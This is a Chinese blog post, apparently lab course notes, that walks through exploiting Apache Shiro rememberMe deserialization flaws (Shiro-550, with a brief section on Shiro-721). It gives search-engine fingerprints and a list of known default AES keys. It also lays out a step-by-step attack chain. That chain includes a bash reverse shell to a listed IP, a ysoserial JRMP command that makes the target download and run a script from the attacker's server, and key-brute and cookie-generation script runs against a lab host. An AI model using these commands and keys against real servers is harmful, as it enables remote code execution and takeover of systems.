04.Shiro 漏洞
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Shiro 简介

Apache Shiro 是一个灵活且全面的 Java 安全框架,它为现代应用程序提供了认证、授权、加密和会 话管理等核心安全功能。Shiro 的设计目标是简单易用,同时提供强大的安全性,适用于从小型应用程 序到大型企业级应用的多种场景。

二、Shiro 漏洞发现

1.Shiro 组件识别

  • 抓包分析:在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件
    Pasted image 20250115184621.png

  • 响应内容分析:有时 Shiro 会在响应中设置特定的 cookie 名称,例如 shiroCookie,这也可以作为识别Shiro 使用的依据。

  • 如果登录页面出现Remember Me(记住我),可能是使用了Shiro 组件
    Pasted image 20250115184722.png

2.Shiro 资产搜索

通过 fofa、zoomeye、shodan 这类平台搜索相关特征来发现目标。

header="rememberme=deleteMe"

header="shiroCookie"

3.Shiro-550 漏洞利用

1)漏洞原因

Apache Shiro框架提供了记住密码的功能(RememberMe),关闭浏览器再次访问时无需再登录即可访问。用户登录成功后用户信息会经过加密编码后存储在cookie中。在Cookie读取过程中有用AES对Cook1e值解密的过程,对于AES这类对称加密算法,一旦密钥泄露加密便形同虚设。若密钥可控,同时Cookie值是由攻击者构造的恶意Payload,就可以将流程走通,触发危险的java反序列化,从而导致远程命令执行漏洞。

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
获取 rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到ES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化,AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。

Pasted image 20250115174057.png

只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都可能会导致该漏洞的产生。硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie中存在  rememberMe=deleteMe  字段,那么就可能存在此漏洞。

常见 key:

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

2)影响版本

Apache Shiro <= 1.2.4(需要获取AES秘钥)

3)利用组件

org.apache.commons中的commons-collections4(理论上commons-collections2也有)

4)利用位置

任意 http 请求中 cookie 处 rememberMe 参数

5)特征判断

返回包中包含 rememberMe=deleteMe 字段,认证失败时会设置deleteMe 的 cookie

Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0;

Pasted image 20250115184534.png

6)Payload 构造

Payload 产生的过程:
命令 => 序列化 => AES 加密 => base64 编码 => RememberMe Cookie 值

使用ShiroVulnExp

生成 Shiro 漏洞测试 Cookie

python shiro_test_poc.py "ls"

Pasted image 20250115183946.png

7)漏洞利用

(1)检测是否存在默认的 key 及漏洞

这里我们使用 Shiro_exploit 脚本,获取默认 key

python shiro_exploit.py -u http://c2a6d514ff64.target.yijinglab.com

Pasted image 20250115220524.png

或者使用其他工具获取密钥
Pasted image 20250115220624.png

(2)VPS 监听反弹shell
(3)VPS 利用反序列化工具生成 payload
方法一
echo "bash -i >& /dev/tcp/120.79.150.243/7777 0>&1" > b.sh

python -m http.server

Pasted image 20250115222338.png

CommonsCollections4:
是Apache Commons Collections 库的一个版本,广泛用于 Java 开发中。其中某些类会被恶意利用,导致发生java反序列化。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "curl http://120.79.150.243:8000/b.sh -o /tmp/b.sh"

Pasted image 20250115222324.png

执行 shiro_poc_test.py 脚本构造生成下载b.sh的cookie:
该cookie会执行上面命令中的下载命令

python shiro_poc_test.py 120.79.150.243:9999

Pasted image 20250115223123.png

发包成功后,Shiro 接收并执行反序列化 payload,请求 JRMP 监听端口:
Pasted image 20250115223211.png

构造执行 b.sh 脚本的 cookie:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash /tmp/b.sh"

Pasted image 20250115223602.png

脚本生成cookie:

python shiro_poc_test.py 120.79.150.243:7777

然后把 cookie 值代入请求中发送:

接收到来自 shiro 主机的请求:
Pasted image 20250115224006.png

成功执行 bash /tmp/b.sh 命令,得到反弹 shell:

方法二

8)脚本利用

  • 启动脚本,生成payload
python shiiro_exp_550.py

Pasted image 20250115225125.png

  • 发送payload
    Pasted image 20250115225335.png

  • 获取反弹shell
    Pasted image 20250115225146.png

4.Shiro-721 漏洞利用

Shiro rememberMe 反序列化远程代码执行漏洞

1)漏洞原因

由于 Apache Shiro cookie 中通过 通过 AES-128-CBC 模式加密的 rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行
rememberMe cookie 通过 AES-128-CBC 模式加密,易受到Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进 ⾏反序列化攻击。
注意: 在 1.2.4 版本后,shiro 已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历

详情见课件

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇